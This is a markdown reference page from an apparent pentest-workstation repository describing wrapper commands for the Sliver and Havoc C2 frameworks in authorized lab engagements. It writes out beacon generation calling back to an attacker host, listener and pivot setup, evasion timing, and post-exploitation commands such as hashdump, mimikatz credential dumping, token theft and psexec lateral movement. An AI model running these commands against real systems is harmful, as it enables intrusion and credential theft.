repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
c2.mdMarkdown52 lines3.7 KiBrendered raw download
# c2 — Sliver & Havoc command & control

Two full C2 frameworks wired into the toolkit for lab engagements (Dante/Zephyr,
CPTS labs). **Loud by design** — beacons, listeners on 80/443, implants on disk.
Lab / authorized-engagement use only. Set **`t <ip>`**/`$LHOST` first; pair with
`cheat pivoting` (route through the implant) and `cheat shells` (initial access).

## Sliver — the quick one (BishopFox, native macOS)
- **`sliver-install`** — pull the `darwin-arm64` server + client into `$SLIVER_DIR`, `unpack --force`. One-time.
- **`sliver-server`** — start the Sliver console (operator + teamserver in one). **`sliver-client`** — connect as a remote operator.
- **`sliver-help`** — the wrapper command menu.

### Generate an implant (the wrapper prints the console lines)
- **`sliver-beacon-https <lhost> [443]`** — async **beacon** over HTTPS (stealthier, polls). Prints the `generate beacon --http…` + `https --lport` listener lines.
- **`sliver-session-mtls <lhost> [8888]`** — interactive **mTLS session** (real-time, mutual-TLS). Prints `generate --mtls…` + `mtls --lport`.
- Rule of thumb: **beacon** to stay quiet and survive, **session** when you need a live shell now.

```
# inside the sliver console — listener THEN implant:
https --lhost 0.0.0.0 --lport 443
generate beacon --http https://<lhost>:443 --os windows --arch amd64 --format exe --save ./beacon.exe
sessions        # or `beacons` — see who called back
use <id>        # interact
```

### Post-ex & pivot (reference cards)
- **`sliver-post`** — recon (`info`/`ps`/`netstat`), creds (`hashdump`, `execute-assembly Rubeus.exe …`), `download`/`upload`, `psexec` lateral, evasion (`sleep 30s`, `reconfigure -i 60s -j 50`).
- **`sliver-pivot`** — routing through an implant for Dante/Zephyr:

```
socks5 start                     # SOCKS on :1080 → proxychains from macOS (cheat pivoting)
portfwd add -b 127.0.0.1:8080 -r <internal>:80
pivot tcp --bind 0.0.0.0:11601   # chain a second implant through this host
```
> `execute-assembly`/`sideload` run .NET/DLLs in memory — quote paths, mind AV. Beacons + long `sleep` are what keep you alive on a monitored box.

## Havoc — the heavy one (Docker teamserver + GUI client)
- **`havoc-install`** — clone HavocFramework, `docker build` the teamserver image. **`havoc-status`** / **`havoc-stop`** — is `havoc-ts` up / kill it.
- **`havoc-server [profile]`** — run the teamserver container (ports **40056** ops, **443/80/8443** C2). Auto-creates a profile if none. Then connect with the **Havoc GUI client** → teamserver `<host>:40056`.
- **`havoc-gen-profile [lhost]`** — write `profiles/havoc.yaotl` (mingw cross-compilers baked in). **`havoc-profile-stealth`** / **`havoc-profile-fast [lhost]`** — long-sleep low-jitter vs rapid-callback variants.
- **`havoc-payload [exe|shellcode|dll|svc] [listener] [x64]`** — prints per-format demon config (injection target, sleep/jitter) — you generate in the GUI (Attack → Payload).
- **`havoc-post`** — demon post-ex: `shell net group "Domain Admins" /domain`, `dotnet inline-execute Seatbelt.exe`, `mimikatz sekurlsa::logonpasswords`, `token steal <pid>`, `jump psexec <host> <listener>`.
- **`havoc-help`** — the wrapper command menu.

| Want | Reach for |
|------|-----------|
| Fast setup, macOS-native, scriptable | **Sliver** |
| Full GUI, demon/sleep-obfuscation, team ops | **Havoc** |
| Quiet long-haul | beacon (Sliver) / stealth profile (Havoc) |
| Live interaction now | mTLS session (Sliver) / fast profile (Havoc) |

> Both listen on 80/443 — free the ports first (`htb-vpn`/host services), and only ever point them at a box you're authorized to own. Reference menus any time: `sliver-help`, `havoc-help`.